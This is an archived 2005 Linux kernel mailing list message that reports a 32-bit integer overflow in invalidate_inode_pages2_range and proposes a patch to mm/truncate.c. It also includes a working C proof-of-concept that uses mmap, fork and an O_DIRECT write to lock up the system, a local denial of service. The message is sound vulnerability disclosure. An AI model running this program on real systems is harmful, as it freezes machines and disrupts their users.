Messages in this thread Patch in this message | | | Date | Wed, 23 Nov 2005 16:57:27 +0200 | From | Oleg Drokin <> | Subject | 32bit integer overflow in invalidate_inode_pages2() (local DoS) |
| |
Hello!
Today looking for a way to do atomic page-unmap + removing page from page cache, I found 32 bit integer overflow in invalidate_inode_pages2_range. Attached program demonstrates the problem (on x86 with 2.6.14 I quickly get SOFT Lockup trace and after a few seconds entire userspace locks up (not sure why)). Seems that all 2.6 kernels are having same problem, 2.6.5 has similar (though not identical) code.
Please consider this patch below:
--- linux-2.6.14/mm/truncate.c.orig 2005-11-23 16:34:21.000000000 +0200 +++ linux-2.6.14/mm/truncate.c 2005-11-23 16:37:18.000000000 +0200 @@ -291,8 +291,8 @@ * Zap the rest of the file in one hit. */ unmap_mapping_range(mapping, - page_index << PAGE_CACHE_SHIFT, - (end - page_index + 1) + (loff_t)page_index<<PAGE_CACHE_SHIFT, + (loff_t)(end - page_index + 1) << PAGE_CACHE_SHIFT, 0); did_range_unmap = 1; @@ -301,8 +301,8 @@ * Just zap this page */ unmap_mapping_range(mapping, - page_index << PAGE_CACHE_SHIFT, - PAGE_CACHE_SIZE, 0); + (loff_t)page_index<<PAGE_CACHE_SHIFT, + PAGE_CACHE_SIZE, 0); } } was_dirty = test_clear_page_dirty(page);
Bye, Oleg #define _GNU_SOURCE #define __USE_FILE_OFFSET64 #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h>
#define FILENAME "/tmp/bigfile"
int main(int argc, char **argv) { int fd, fd1, ret; char *buf; char wbuf[8192]; unsigned long long offset = 0xffffff000ULL; char *p=wbuf;
fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644); if (fd < 0) { perror(FILENAME); return -1; }
ftruncate64(fd, offset + 4096*4); buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset); if (buf == MAP_FAILED) { perror("mmap"); return -1; }
fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644); if (fd < 0) { perror(FILENAME); return -1; }
p = (char *)((unsigned long) p | 4095)+1;
if (fork()) { while(1) { /* map in the page */ buf[10] = 1; } } else { ret = pwrite64(fd1, p, 4096, offset); if (ret < 4096) { printf("write: %d %p\n", ret, p); perror("write"); return -1; } }
return 0; }
| |